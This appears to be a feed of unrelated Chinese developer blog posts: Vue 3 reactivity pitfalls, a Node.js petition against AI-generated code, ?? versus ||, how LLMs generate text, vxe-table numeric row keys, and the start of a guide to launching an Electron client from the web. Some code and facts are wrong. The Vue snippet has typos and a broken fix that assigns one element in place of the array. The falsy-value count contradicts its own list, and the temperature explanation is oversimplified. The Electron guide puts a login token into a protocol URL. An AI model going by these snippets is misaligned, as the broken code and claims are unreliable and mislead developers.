  • React 整体是一条怎样的更新主线
  • 仓库里哪些地方和这条主线直接相关
  • 四个核心包分别负责什么
  • 继续往里读时,核心问题大概会落在哪些位置

那接下来再看 ReactElement、Root、Fiber、调度、render、commit、Hooks,很多原本抽象的词,才会慢慢落地。

如果这篇“阅读地图”已经搭起来了,那么下一步最自然的切口,就是回到主线最前面,先看一个问题:

React 真正接收到的第一个核心对象,到底长什么样?

如果这篇对你有帮助,欢迎点个赞支持。后面我也会继续把这组 React 源码文章慢慢补完整。

这组源码解读文章也会同步整理到 GitHub 仓库里,方便集中查看和持续更新:

GitHub: github.com/HWYD/source…

如果觉得这组内容对你有帮助,也欢迎顺手点个 Star。

最近在做的一个 AI 项目

最近我也在持续迭代一个 AI 项目:AI Mind
如果你对 AI 应用工程化、Tool Calling、Skill Runtime、MCP 这些方向感兴趣,欢迎来看看。

GitHub: github.com/HWYD/ai-min…

如果觉得项目还不错,也欢迎顺手点个 Star。

vue3 数据响应式遇到的问题

问题背景

是在vue2项目升级vue3项目中遇到的,因为升级项目并没有使用vue的Composition api 而是使用Options api,所有复杂类型变量默认使用reactive进行响应式,问题也是从这出现的

  1. 对象数组中,使用索引值更改数据,数据变化了页面没有变化
  • 类似代码 - options api使用的是this指针方式,但是问题是一样的
cosnt arr = reactive({
  arr1:[
    {
        "name": "test",
        "name2": "test2",
        "name3": "test3",
    },
    {
        "name": "test",
        "name2": "test2",
        "name3": "test3",
    }
]  
})
arr["arr1"][0] = {"name": "test11","name2": "test22","name3": "test33",}

这个时候我们从vue3的源代码入手,分析原因,具体只需要看proxy 的 get方法

源代码地址 packages\reactivity\src\baseHandlers.ts

有个BaseReactiveHandler方法

a48ac8538ee92c0bebe96aed437525ae.png

当我们触发get方法时,如果还是复杂类型,需要在调用reactive将其转化成响应式,所以Vue的依赖收集是"按需"的,具有一种懒惰性质,层级较深的复杂类型数据不是在声明式就被全部转化成响应式,而是在获取时逐层转化的

这个时候我们回看我们的问题,当我们执行arr["arr1"][0] = {"name": "test11","name2": "test22","name3": "test33",}的时候,只触发了arr["arr1"],但是再往下层级的并没有被转化成响应式,所以此时我们可以这样去解决

consr newArr = arr["arr1"]
newArr[0] = {"name": "test11","name2": "test22","name3": "test33",}
arr["arr1"] = newArr[0]

2. 解构失去响应式

    const test = reactive({
      arr: { name: '111'}
    })
    // 解构会失去响应性!
    const { arr } = test
    // 修改 user 不会触发界面更新
    arr.name = '李四'  //界面不更新

    //解决方案
    // 1、
    const { arr } = toRefs(test)
    // 2、尽量不要解构响应式数据

3. 新增属性不响应

    const test = reactive({
      arr: { name: '111'}
    })

    // 修改 user 不会触发界面更新
    test.arr.age= 22  //界面不更新

    // 解决方法 使用 Object.assign
    Object.assign(test.arr, { age: 22 }) 

总结

所以在vue3 开发中,如果使用options api方式,就需要尽量注意多层嵌套对象,如果使用Composition api,尽量使用 ref 去定义变量,并且针对嵌套层级较深的变量最好使用ShallowRef ShallowReactive 用于优化深层嵌套对象的性能问题

请愿书:Node.js 核心代码不应该包含 AI 代码!

2026 年 3 月,一场关于 AI 生成代码的争议在 Node.js 社区掀起轩然大波。

一份请愿书在短短数天内获得超过百名开发者签名,呼吁技术指导委员会(TSC)禁止 AI 生成的代码进入核心仓库。

这场争议不仅关乎技术选择,更触及开源项目的价值观与未来走向。

1. 事件起因:1.9 万行 AI 代码引发的信任危机

2026 年 1 月 22 日,Node.js TSC 成员、Fastify 框架维护者 Matteo Collina 提交了一个震撼社区的 Pull Request(PR #61478)。

这个 PR 包含约 1.9 万行代码,覆盖 80 个文件,旨在为 Node.js 添加虚拟文件系统(VFS)功能——一个社区期待已久的特性。

然而,PR 描述中的一句话点燃了争议的导火索:

“我使用了大量的 Claude Code tokens 来创建这个 PR。我已经亲自审查了所有更改。”

这份声明立即引发了社区的激烈讨论。

尽管 Collina 是资深贡献者,但如此大规模的 AI 生成代码是否符合开发者原创性证书(DCO)的要求,成为争论焦点。

image.png

2. 请愿书:百名开发者的集体发声

3 月 18 日,Node.js 前 TSC 成员、TLS 模块主要作者 Fedor Indutny 在 GitHub 上发起请愿书,要求 TSC 投票否决“允许 AI 辅助开发”的提案,明确拒绝 LLM 生成的核心代码重写。

请愿书在 GitHub 和 Change.org 两个平台同步发布,迅速获得超过 100 名开发者签名支持,其中不乏重量级人物:《You Don‘t Know JS》作者 Kyle Simpson、Zig 软件基金会主席 Andrew Kelley、Gulp 核心维护者 Blaine Bublitz 等。

请愿书开篇即强调:Node.js 是运行在全球数百万服务器上的关键基础设施,多年来由开发者精心手写的核心代码不应被 AI 生成内容稀释,这将动摇 Node.js 的声誉根基和社会价值。

3. 反对方的 3 大核心理由

请愿书列出了反对 AI 生成代码进入核心的三个关键论点:

1. 伦理与版权风险

主流 LLM 模型的训练数据包含大量未经授权的开源代码和版权作品。AI 生成的代码可能埋下版权隐患,而 Node.js 作为全球基础设施,代码版权必须绝对清晰,不能承担潜在的法律风险。

2. 教育价值的断裂

开源项目的代码审查不仅是发现 bug,更是新人学习成长的过程。然而 LLM 无法学习,审查者投入的时间无法转化为贡献者能力的提升,长期可能导致社区出现“技术断层”,威胁项目的可持续发展。

3. 工具特权与可复现性

使用 LLM 需要付费订阅或昂贵的本地硬件。提交的生成代码应该能被审查者无需付费工具即可复现,否则会在贡献者之间制造不平等,违背开源的平等精神。此外,AI 生成的代码不可复现,审查者难以理解设计意图,审查工作从“理解架构”退化为“黑盒找 bug”。

image.png

4. 支持方的反驳观点

尽管请愿书获得广泛支持,但也有不少开发者持不同意见:

1. 问题在于 PR 规模,而非 AI 本身

许多开发者指出,1.9 万行代码的 PR 本身就违反了良好实践,无论是否使用 AI。

Linux 内核维护者 Linus Torvalds 几十年来一直拒绝过大的 PR,现有政策已足够应对。

一位开发者评论道:“即使代码完美无瑕,也没人能理解那么多变更。”

2. AI 是工具,关键在于如何使用

反对请愿书的声音认为,这是对技术进步的“恐慌式反应”。

AI 辅助开发的边界应该被明确定义:是 0% 的 LLM 生成代码(仅用于研究),还是 100% 的“氛围代码”?

如果只是辅助研究和小规模代码补全,为何要一刀切禁止?

3. 制定新政策的成本

批评者质疑:如何执行禁令?要求每个贡献者签署未使用 AI 的声明?关闭 AI 自动补全?新政策会带来流程和官僚主义的成本。一位开发者提出:“审查者已经有权拒绝劣质代码,为什么需要两个政策来解决同一个问题?”

4. 应关注代码质量而非来源

部分开发者认为,重点应该是代码的质量、可维护性和安全性,而不是代码的生成方式。如果 AI 能生成高质量、可审查的代码,为什么要排斥它?

image.png

5. 争议的深层矛盾

这场争论暴露了开源社区面临的深层次冲突:

效率与质量的权衡:AI 能大幅提升开发效率,但代价是什么?当 AI 写代码的速度超过人类审查的速度,代码质量如何保证?

开放与控制的平衡:开源精神倡导开放与包容,但关键基础设施是否需要更严格的准入标准?

进步与传统的碰撞:技术工具在演进,但开源社区“人对代码负责”的价值观是否应该坚守?

值得注意的是,请愿发起人 Fedor Indutny 在 Reddit 讨论中表示,他并非反对所有形式的自动化重构。

如果 PR 作者能编写 AST 转换脚本或其他可复现的工具来完成相同的变更,他会乐于审查。

真正的问题在于:LLM 生成的代码既不可复现,又需要付费工具,还要求审查者承担巨大的认知负担

6. 最新进展

目前,这个 1.9 万行的 PR 已被暂时阻止合并。

Node.js TSC 计划就“是否允许 AI 辅助开发”进行正式投票,结果将为整个开源社区树立先例。

这场争议已经超越了 Node.js 本身。从 Linux 内核使用 AI 修复漏洞,到 Node.js 因 AI 代码陷入治理危机,开源世界正在经历一场关于 AI 工具使用边界的集体反思。

无论最终结果如何,这场讨论都提醒我们:在拥抱新技术的同时,我们必须谨慎思考它对开源价值观、代码质量和社区文化的深远影响

image.png

我是冴羽,10 年笔耕不辍,专注前端领域,更新了 10+ 系列、300+ 篇原创技术文章,翻译过 Svelte、Solid.js、TypeScript 文档,著有小册《Next.js 开发指南》、《Svelte 开发指南》、《Astro 实战指南》。

欢迎围观我的“网页版朋友圈”,关注我的公众号:冴羽(或搜索 yayujs),每天分享前端知识、AI 干货。

ts中 ?? 和 || 区别

在JavaScript和TypeScript开发中,我们经常需要为变量设置默认值。??(空值合并运算符)和 ||(逻辑或运算符)是两个常用的选择,但它们的判断逻辑有着本质区别。本文将深入解析这两个运算符的区别,帮助你写出更严谨的代码。

核心区别速览

|| 会在左侧值为 任何假值(falsy)  时返回右侧值,而 ?? 仅在左侧值为 null 或 undefined 时才返回右侧值。

这是两者最根本的差异,也是理解它们行为的关键。

JavaScript 中的假值(falsy)完整列表

在深入之前,先了解 JavaScript 中哪些值被视为假值。JavaScript 中一共有 7 个假值

  • false
  • 0(包括 -0 和 0n
  • ""(空字符串)
  • null
  • undefined
  • NaN

除了这 7 个值以外,其他所有值在布尔上下文中都被视为真值(truthy)。

核心对比:数值、字符串与布尔值场景

下面的对比表格清晰地展示了 ?? 和 || 在不同输入值下的行为差异:

| 输入值 a | a ?? "default" | a || "default" |
|-----------|-----------------|-----------------|
null | "default" | "default" |
undefined | "default" | "default" |
0 | 0 | "default" |
"" | "" | "default" |
false | false | "default" |
NaN | NaN | "default" |
"hello" 等真值 | "hello" | "hello" |

可以看到,当 0""false 和 NaN 这些假值出现时,|| 会错误地使用默认值,而 ?? 则会保留这些原本有意义的值。

下面通过具体代码来深入理解:

1. 处理数字 0——最常见的坑

// 用户可能真的想设置音量/页码为 0
const userVolume = 0;

// ❌ 使用 ||:0 被当作无效值
const volume1 = userVolume || 50;      // 结果:50(用户音量被覆盖!)

// ✅ 使用 ??:0 被正确保留
const volume2 = userVolume ?? 50;      // 结果:0(符合预期)

在使用 || 时,0 被视为假值,因此返回了默认值 50,这可能完全违背了用户的意图——比如用户想静音或跳转到第 0 页。

2. 处理空字符串

const userInput = "";

// ❌ 使用 ||:空字符串被当作无效输入
const name1 = userInput || "匿名用户";    // 结果:"匿名用户"

// ✅ 使用 ??:空字符串被正确保留
const name2 = userInput ?? "匿名用户";    // 结果:""

空字符串可能代表用户主动清空了输入框,使用 || 会错误地将其替换为默认值。

3. 处理布尔值 false

const isEnabled = false;

// ❌ 使用 ||:false 被当作无效值
const flag1 = isEnabled || true;    // 结果:true(覆盖了 false)

// ✅ 使用 ??:false 被正确保留
const flag2 = isEnabled ?? true;    // 结果:false(符合预期)

false 本身是一个有效的布尔值,在使用 || 提供默认值时会被错误覆盖。

4. 处理 NaN

const calculatedValue = NaN;

// ❌ 使用 ||:NaN 被当作无效值
const value1 = calculatedValue || 100;    // 结果:100

// ✅ 使用 ??:NaN 被正确保留
const value2 = calculatedValue ?? 100;    // 结果:NaN

实际开发场景:该用哪个?

场景一:分页/计数类数值——推荐 ??

// 当前页码为 0(第 1 页)是有效值
const currentPage = requestParams.page ?? 1;

// 评论数量为 0 是有效值
const commentCount = apiResponse.comments ?? 0;

0 在这些场景中是合法的业务数据,应该被保留。

场景二:表单输入处理——推荐 ??

// 温度传感器可能返回 0℃——这是有效读数
const temperature = sensorValue ?? 20;

// 字体大小可能为 0(表示最小字号)
const fontSize = userSettings.fontSize ?? 16;

场景三:字符串空值判断——考虑 ||

// 用户名输入:空字符串应显示为"匿名用户"
const displayName = username || "匿名用户";

// 或者显式处理三种情况
const displayName = username?.trim() || "匿名用户";

当空字符串和 null/undefined 都应被视为无效时,|| 是合适的选择。

场景四:布尔值开关——推荐 ??

// 用户偏好设置:false 表示"已禁用",不应被默认值覆盖
const darkMode = userPreference.darkMode ?? true;

场景五:Vue 模板中的使用

<template>
  <!-- 留言内容:空字符串显示占位文案 -->
  <div>{{ message || '暂无留言' }}</div>
  
  <!-- 评分:0 分是有效分数 -->
  <div>评分:{{ rating ?? '未评分' }}</div>
</template>

<script setup lang="ts">
import { ref } from 'vue';

const message = ref('');
const rating = ref(0);
</script>

模板中同样需要区分 ?? 和 || 的场景。

进阶篇:??= 和 ||= 的区别

TypeScript 4.0+ 还引入了逻辑赋值运算符,它们的行为与对应的二元运算符一致:

  • ||=:左侧为任何假值时赋值
  • ??=:左侧为 null 或 undefined 时才赋值
let config1 = { volume: 0 };
let config2 = { volume: 0 };

config1.volume ||= 50;    // volume 变成 50(0 被覆盖)
config2.volume ??= 50;    // volume 保持 0(0 被保留)

??= 能更精确地控制赋值的触发条件。

兼容性与注意事项

版本要求

?? 是 ES2020(ES11)  引入的新特性,在 TypeScript 3.7+ 中可用。

现代浏览器(Chrome 80+、Firefox 72+、Safari 13.1+)和 Node.js 14+ 均已支持。对于需要兼容旧环境的项目,可以通过 Babel 等工具进行转译。

语法限制:不能与 && 或 || 直接混用

出于语法歧义的考虑,ES 规范不允许 ?? 与 && 或 || 直接组合使用,否则会抛出语法错误:

// ❌ 语法错误!
a || b ?? c;
a ?? b || c;

// ✅ 正确写法:使用括号明确优先级
(a || b) ?? c;
a ?? (b || c);

总结与选择建议

  1. 核心记忆

    • ?? = 只认 null 和 undefined("空值")
    • || = 认所有假值(false0""nullundefinedNaN
  2. 简单原则:当 0""false 在你的业务场景中是有意义的值时,优先使用 ??

  3. ESLint 建议:许多现代项目配置了 @typescript-eslint/prefer-nullish-coalescing 规则,鼓励使用 ?? 替代 || 来处理空值,因为它能更精确地表达意图,避免因假值判断而引入 bug。

  4. 团队协作:在项目中统一使用 ?? 处理空值可以提升代码可读性,降低因假值判断不一致而引入的潜在风险。

都知道AI大模型能生成文本内容,那你知道大模型是怎样生成文本的吗?

举个例子

想象一下,AI大模型用 0.5秒生成了这样一段文本:

"今天天气真好,我决定去公园散步,呼吸一下新鲜空气,放松身心。"

那么问题来了:这个AI怎样在这么短的时间内,"想出来"这条段文本的?

答案可能会颠覆你的想象。它并不是在"思考",而是在进行一个机械的、分步的数学运算。

今天,我就用你能理解的方式,把大模型这5个神奇的步骤拆解给你看。


第一步:你说什么,我就听什么

01 | 输入与拆分(Input & Tokenization)

场景还原:

假如你现在对大模型说:

"用最有趣的方式讲解一个笑话"

大模型听到这句话时,它不是像我们一样理解语义,而是做一个非常机械的动作:把你的文字拆成一个个最小的单元

这个最小单元叫做 Token(令牌)

Token 是什么?

你可以把它理解为"汉字"或"词"。比如:

  • "用" = 1个Token
  • "最" = 1个Token
  • "有趣" = 1个Token
  • "的" = 1个Token
  • "方式" = 1个Token
  • "讲解" = 1个Token

所以你的一句话被拆成了一串Token序列:

[用][最][有趣][的][方式][讲解][一][个][笑话]

为什么要这样拆?

因为大模型的"大脑"(神经网络)只能理解数字,不能直接理解文字。

每个Token都被转换成一串数字(向量),看起来像这样:

"用" → [0.2, -0.5, 0.8, 0.1, ...](几百个数字)
"最" → [0.3, -0.2, 0.5, 0.9, ...](几百个数字)
...

这就像把人类的语言翻译成计算机能理解的"密码"。


第二步:我是怎样理解你的意思的?

02 | 上下文编码(Context Encoding)

场景还原:

现在大模型有了一串数字(Token的向量表示),接下来它要做的是:理解这些数字之间的关系

这一步发生在大模型的"大脑"——Transformer架构中。

Transformer在做什么?

Transformer是一个特殊的神经网络结构,它做的事情听起来很复杂,但核心思想很简单:

它在计算你输入的每个词与其他词之间的"关系强度"。

具体例子:

如果你说:"小王很聪明,他喜欢编程,但他讨厌数学。"

Transformer会这样计算:

  • "他" 和 "小王" 的关系强度:95%("他"指代"小王")
  • "他" 和 "数学" 的关系强度:30%(有关系但不是指代)
  • "他" 和 "讨厌" 的关系强度:80%("他"是"讨厌"的主语)

通过这种"关系计算",Transformer把你的输入文本转化成一个包含丰富上下文信息的数学表示

换句话说,大模型现在"懂"你说的是什么意思了——不是真的懂,而是把你的意思转化成了数学。

一个有趣的观察:

这就是为什么大模型有时候能推断你没有明说的东西。因为Transformer计算了所有词之间的关系,它能从这些关系中"推断"出隐含的意思。


第三步:我给出每个词的概率

03 | 概率计算(Probability Calculation)

场景还原:

现在,大模型已经理解了你的意思(至少在数学层面)。

接下来,它要做一个关键的决定:下一个词应该是什么?

但大模型不是"想"出来的,而是通过计算所有可能词汇的概率

具体过程:

假如你说:"今天天气真好,我想……"

大模型此时会计算:在"我想"之后,所有词出现的概率。

结果可能是这样的:

[去散步]32%
[出门]28%
[休息]18%
[唱歌]8%
[吃饭]7%
[睡觉]4%
[其他]3%

这就像在说:"根据我读过的所有文本,当有人说'我想'的时候,接下来最有可能说'去散步'(32%的概率)。"

为什么是这个概率?

因为大模型在预训练时,接触过数万亿个词的组合。它把这些统计规律"记录"在自己的参数中。当你说"我想"时,它就从记忆中翻出:

  • 在所有"我想"的后面,"去散步"出现了多少次?
  • "出门"出现了多少次?
  • ...以此类推

重要的认识:

大模型这一步做的是统计,而不是思考。它问的不是"逻辑上下一个词应该是什么",而是"历史上这种情况下下一个词通常是什么"。

这解释了为什么大模型有时候会说出很聪明的话(因为统计规律确实反映了正确的知识),有时候也会说出荒唐的话(因为它只是在"赌概率")。


第四步:我选一个最可能的词

04 | 采样输出(Sampling Output)

场景还原:

现在大模型有了一个概率分布(如上面所示)。接下来的问题是:怎样选择?

有两种策略:

策略A:贪心采样(Greedy Sampling)

规则很简单:选概率最高的。

[去散步] → 32% ← 选这个!
[出门] → 28%
[休息] → 18%
...

这样做的好处是:结果最稳定,最有可能"正确"

坏处是:内容容易重复和千篇一律

如果你每次问大模型同一个问题,它会给你几乎完全相同的答案。

策略B:随机采样(Random Sampling)

按照概率,随机选择一个词。

就像转一个转盘,32%的区域里"去散步",28%的区域里"出门",然后随机转动指针。

这样做的好处是:结果多样化,每次回答都不一样

坏处是:有时候会选出一些"概率很低但突然出现"的词,导致内容有点奇怪

实际应用:

大多数大模型使用的是"温度"参数来控制这两个极端之间的平衡:

  • 温度=0:完全贪心采样(最稳定)
  • 温度=1:完全随机采样(最多样)
  • 温度=0.7:介于两者之间(大多数应用的默认值)

第五步:我把新词加到你的话里,然后重复

05 | 迭代生成(Iterative Generation)

场景还原:

现在大模型选了一个词——比如"去散步"。

接下来发生的事情很简单,但非常强大:

它把这个新词加到原文本的末尾,然后重复第2-4步。

让我展示整个过程:

1次循环:
输入:"今天天气真好,我想"
↓(经过第2-4步)
选择:"去"
结果:"今天天气真好,我想去"2次循环:
输入:"今天天气真好,我想去"
↓(经过第2-4步)
选择:"散"
结果:"今天天气真好,我想去散"3次循环:
输入:"今天天气真好,我想去散"
↓(经过第2-4步)
选择:"步"
结果:"今天天气真好,我想去散步"4次循环:
输入:"今天天气真好,我想去散步"
↓(经过第2-4步)
选择:","
结果:"今天天气真好,我想去散步,"5次循环:
输入:"今天天气真好,我想去散步,"
↓(经过第2-4步)
选择:"呼"
结果:"今天天气真好,我想去散步,呼"

...继续循环...

直到大模型选出了[结束标记],生成过程才停止。

最终结果:

"今天天气真好,我想去散步,呼吸一下新鲜空气,放松身心。"

完整的微博在你眼睛一眨眼的功夫就生成好了。


深层理解:为什么看起来这么聪明?

现在让我们回到最开始的问题:大模型为什么能生成这么连贯、这么"有意义"的文本?

答案其实很意外:它根本不是在思考,而是在进行一个机械但高度优化的数学运算。

具体来说:

1. 神奇的统计规律

大模型在训练时,接触过数万亿个词的组合。这创建了一个巨大的"统计记忆":

  • 在所有文本中,"今天天气很好"后面跟"去散步"的频率有多高?
  • "我想"后面通常跟什么词?
  • "放松身心"通常怎样结尾?

正是这些统计规律,使得大模型能生成"看起来很自然"的文本。

2. 参数的力量

大模型有数十亿甚至数万亿个参数(可调节的权重)。这些参数共同作用,把这些统计规律"压缩"存储在神经网络中。

所以当你输入一个问题时,大模型实际上是在:

  • 调用这些参数
  • 执行数学运算
  • 从概率分布中采样

3. 涌现能力

有趣的是,当参数数量足够多、训练数据足够大时,一些"意想不到"的能力会出现:

  • 模型能回答从未在训练数据中见过的问题
  • 模型能理解"含义"(虽然它实际上只是在做数学)
  • 模型能执行多步骤的逻辑推理

这些被称为"涌现能力"——大模型做的是统计,但统计足够复杂时,就呈现出了"智能"的样子。


这个过程有什么局限?

理解了这个5步过程后,你也就理解了为什么大模型有时候会:

1. 编造信息

因为它只是在"填概率",如果某个词的概率是正数,它就可能被选中——即使这个词在这个上下文里没有根据。

2. 处理数学计算很差

因为"1+1=2"这样的计算,根本不是概率问题。大模型没有专门的计算模块,只能靠概率去"猜"答案。

3. 知识过期

因为大模型的知识来自训练数据的统计。2024年的新闻事件,如果没有在训练数据中出现过,大模型就无从知晓。

4. 容易被欺骗

因为它只是在做模式匹配。如果你用巧妙的prompt,可以让它做出不该做的事情。


最后的思考

当你看到一条"聪明的AI回答"时,不妨停下来想一想:

这真的是AI在思考吗?还是它只是在用难以想象的复杂性来做统计?

答案是:两者都是。

从某种意义上,统计足够复杂,就变成了智能。正如人类的思维也是由神经元的电化学过程组成的,但我们说人在"思考"一样。

大模型的5步生成过程看似简单:

  1. 拆成Token
  2. 理解上下文
  3. 计算概率
  4. 选择词汇
  5. 重复迭代

但这个过程重复数百次、数千次,加上数万亿个参数的协同作用,就产生了让人惊叹的结果。

这也是为什么有人说:大模型是"大力出奇迹"——因为它真的就是靠着巨量的参数、巨量的数据、和巨量的计算,实现了这种表面看起来"智能"的行为。

下次当大模型给你一个答案时,你会想到它在背后经历的这5个步骤吗?


想了解如何开发设计图中的AI应用?右下角扫码了解

设计图(带二维码).png

6.png

vxe-table 自定义数字行主键,解决默认字符串主键与后端类型不匹配问题

vxe-table 自定义数字行主键,解决默认字符串主键与后端类型不匹配问题 在使用 vxe-table 表格组件时,组件默认自动生成的行主键为字符串类型,但后端接口通常要求主键为数值(number)类型,直接提交会因数据类型不匹配导致接口报错。 有两种最优解决方案,支持局部配置和全局统一配置,彻底解决类型不兼容问题。

核心解决方案

vxe-table 提供了灵活的主键配置能力,推荐两种实用方案:

  1. 指定业务字段为主键:直接使用后端返回的数字 ID 作为行主键(推荐已有数据场景)
  2. 自定义主键生成方法:自定义生成数字类型的自增主键(推荐新增行场景)

代码

定义行主键生成逻辑,生成规则可以通过 row-config.createKeyMethod 来自定义,也可以全局定义。

<template>
  <div>
    <!-- 新增行按钮 -->
    <vxe-button type="primary" @click="addEvent">新增数据</vxe-button>

    <!-- vxe-table 表格 -->
    <vxe-grid ref="gridRef" v-bind="gridOptions"></vxe-grid>
  </div>
</template>

<script setup lang="ts">
import { ref, reactive } from 'vue'

// 表格行数据类型定义
interface TableRow {
  id: number; // 明确指定为数字类型主键
  name: string;
  role?: string;
  sex?: string;
  age?: number;
  address?: string;
}

// 表格实例引用
const gridRef = ref<InstanceType<typeof import('vxe-table')> | null>(null)

// 数字主键自增初始值(可根据业务调整)
let idSeed = 1000000000

// 表格配置项
const gridOptions = reactive({
  border: true,
  showOverflow: true,
  keepSource: true,
  height: 400,
  // 核心:自定义行主键配置
  rowConfig: {
    keyField: 'id', // 指定 id 字段作为行唯一主键
    // 自定义主键生成方法:返回数字类型,实现自增
    createKeyMethod: () => idSeed++
  },
  // 单元格编辑配置
  editConfig: {
    trigger: 'click',
    mode: 'cell',
    showStatus: true
  },
  // 表格列配置
  columns: [
    { type: 'seq', width: 70, title: '序号' },
    { field: 'name', title: '姓名', editRender: { name: 'input' } },
    { field: 'sex', title: '性别', editRender: { name: 'input' } },
    { field: 'age', title: '年龄', editRender: { name: 'input' } },
    { field: 'address', title: '地址', editRender: { name: 'input' } }
  ],
  // 初始化数据(id 均为数字类型)
  data: [
    { id: 10001, name: 'Test1', role: 'Develop', sex: '男', age: 28, address: 'test abc' },
    { id: 10002, name: 'Test2', role: 'Test', sex: '女', age: 22, address: '广州' },
    { id: 10003, name: 'Test3', role: 'PM', sex: '男', age: 32, address: '上海' },
    { id: 10004, name: 'Test4', role: 'Designer', sex: '女', age: 24, address: '上海' }
  ]
})

// 新增行事件
const addEvent = async () => {
  const $grid = gridRef.value
  if (!$grid) return

  // 新增空数据,主键由自定义方法自动生成
  const newRecord = { name: `Name_${Date.now()}` }
  const { row: newRow } = await $grid.insert(newRecord)

  // 验证:主键为数字类型
  console.log('新增行主键类型:', typeof newRow.id, '主键值:', newRow.id)
  console.log('新增行数据:', newRow)

  // 自动聚焦编辑姓名单元格
  $grid.setEditCell(newRow, 'name')
}
</script>

image

关键配置说明

参数作用

rowConfig.keyField指定表格行的唯一主键字段(如 id),替代默认主键 rowConfig.createKeyMethod自定义主键生成函数,返回值即为最终主键

全局配置(推荐多页面复用)

// main.ts
import { VxeUI } from 'vxe-table'

let globalIdSeed = 1000000000

VxeUI.setConfig({
  table: {
    rowConfig: {
      keyField: 'id',
      createKeyMethod: () => globalIdSeed++
    }
  }
})

方案对比与选择

  • 指定业务字段为主键
    • 适用场景:表格数据由后端返回,自带数字 ID
    • 优点:无额外逻辑,直接复用后端 ID
    • 配置:仅需设置 rowConfig: { keyField: 'id' }
  • 自定义主键生成方法
    • 适用场景:前端新增临时数据、无后端 ID 场景
    • 优点:完全可控,强制生成数字类型,避免类型报错
    • 配置:keyField + createKeyMethod 组合使用

github文档: github.com/x-extends/v…
vxetable.cn

告别二次登录!Web端检测并唤起Electron客户端实战

写在前面:审核大大对不起!不小心误删了!麻烦你在审核一遍 sorry

在做 To B 或重交互的 SaaS 产品时,我们经常会遇到这样的场景:用户通过浏览器访问了 Web 端(H5 模式),但其实本地已经安装了体验更好的 Electron 桌面客户端。

如果能自动检测并提示用户:“嘿,你本地有客户端,要不要直接切过去?”——并且点击后免登录、直接带参数跳转到对应页面,我看很多大厂软件都是这种基操。

今天就跟大家分享,我是如何从 0 到 1 落地这套Web 端检测 + 自定义协议唤起 + 无缝登录方案的。

一、先看效果:核心交互时序

整个方案的精髓在于“无感”和“顺滑”。我们不阻断用户的 Web 操作,而是通过非阻塞通知条引导。整体交互时序如下:

sequenceDiagram
    participant User as 用户
    participant Web as 浏览器 (Web端)
    participant OS as 操作系统
    participant App as Electron (桌面端)
    User->>Web: 打开H5页面
    activate Web
    Note over Web: 延迟 2s 后静默检测
    Web->>OS: iframe 尝试触发 my-protocol://detect
    alt 本地已安装且运行中
        OS-->>Web: 窗口极速失焦 (<500ms)
        Web->>User: 通知提示:"检测到已运行,是否唤起?"
    else 本地已安装未运行
        OS-->>Web: 窗口慢速失焦 (>500ms)
        Web->>User: 通知提示:"检测到已安装,是否启动?"
    else 本地未安装
        OS-->>Web: 超时无响应 (1500ms)
        Note over Web: 静默失败,不打扰用户
    end
    User->>Web: 点击"唤起/启动"
    Web->>OS: iframe 触发 my-protocol://launch?token=xxx&redirect=xxx
    OS->>App: 系统拉起/激活桌面端
    App->>App: 主进程解析 URL 拿到 Token
    App->>App: 渲染进程复用 SSO 逻辑登录并跳转

二、Web 端:如何检测客户端?

浏览器出于安全限制,无法直接扫描用户电脑的注册表或硬盘。目前业界通用的做法是自定义协议探测 + 窗口失焦计时

1. 核心探测原理(灵魂所在)

我们通过一个隐藏的 iframe 去请求自定义协议(如 my-protocol://detect):

  • 如果未安装:浏览器找不到处理程序,无事发生。
  • 如果已安装:操作系统会接管这个协议,并尝试唤起对应的客户端,这会导致浏览器窗口失焦。 trick 来了:如何区分“客户端正在后台运行”和“客户端未运行只是装了”?
    答案是:看失焦的速度!

如果客户端已经在运行,系统只需执行“聚焦窗口”的操作,速度极快(< 500ms);如果客户端没运行,系统需要先走冷启动流程加载进程,耗时较长(> 500ms)。

2. 状态判断流程图

flowchart TD
    A[Web 页面加载完成] --> B[创建隐藏 iframe]
    B --> C[尝试跳转 my-protocol://detect]
    C --> D{监听 window.blur 或 visibilitychange}
    D -->|未触发失焦| E[等待 1500ms 超时]
    E --> F[结论: none 未安装]
    D -->|触发失焦| G[计算耗时 = 当前时间 - 开始时间]
    G --> H{耗时 < 500ms ?}
    H -->|是| I[结论: running 已运行]
    H -->|否| J[结论: installed 已安装未运行]

3. 核心代码实现 (clientLauncher.js)

这里一定要处理好 setTimeout 的竞态问题,确保 Promise 只 resolve 一次。

const PROTOCOL = 'my-protocol'
const QUICK_BLUR_THRESHOLD = 500 // 响应时间阈值
export function detectClientStatus() {
  return new Promise((resolve) => {
    let resolved = false
    const startTime = Date.now()
    const iframe = document.createElement('iframe')
    iframe.style.display = 'none'
    document.body.appendChild(iframe)
    // 统一的结束函数,防止多次 resolve
    const finish = (result) => {
      if (resolved) return
      resolved = true
      clearTimeout(timer)
      document.removeEventListener('visibilitychange', onVisibilityChange)
      window.removeEventListener('blur', onBlur)
      if (iframe.parentNode) document.body.removeChild(iframe)
      resolve(result)
    }
    const onDetected = () => {
      const elapsed = Date.now() - startTime
      finish(elapsed < QUICK_BLUR_THRESHOLD ? 'running' : 'installed')
    }
    const onVisibilityChange = () => { if (document.hidden) onDetected() }
    const onBlur = () => onDetected()
    document.addEventListener('visibilitychange', onVisibilityChange)
    window.addEventListener('blur', onBlur)
    try {
      iframe.contentWindow.location.href = `${PROTOCOL}://detect`
    } catch (e) { /* 协议未注册报错,忽略 */ }
    // 1.5s 内未失焦,视为未安装
    const timer = setTimeout(() => finish('none'), 1500)
  })
}

4. 带参唤起 & 非阻断 UI

  • 为什么用 iframe 而不用 window.location.href
    因为如果协议解析失败,直接改 location 会导致当前 Web 页面变成一片空白的错误页!
  • UI 层面:坚决摒弃阻断式的 Modal 弹窗,改用 Ant Design 的 notification,允许用户关掉提示继续用网页,15秒后自动消失。
export function launchClient() {
  const token = localStorage.getItem('token') || ''
  const currentPath = window.location.hash.replace('#', '') || ''
  const params = new URLSearchParams()
  if (token) params.set('token', token) // 携带登录态
  if (currentPath) params.set('redirect', currentPath) // 携带当前路由
  const url = `${PROTOCOL}://launch?${params.toString()}`
  const iframe = document.createElement('iframe')
  iframe.style.display = 'none'
  document.body.appendChild(iframe)
  iframe.contentWindow.location.href = url
  setTimeout(() => iframe.parentNode && document.body.removeChild(iframe), 3000)
}

三、Electron 端:协议注册与三种场景覆盖

桌面端要做的就两件事:认领协议、解析参数

1. 协议注册 (electron-builder)

在打包配置中声明协议,安装包会自动往 Windows 的注册表里写东西。

// electron-builder.js
module.exports = {
  protocols: [
    { name: "My App Protocol", schemes: ["my-protocol"] }
  ],
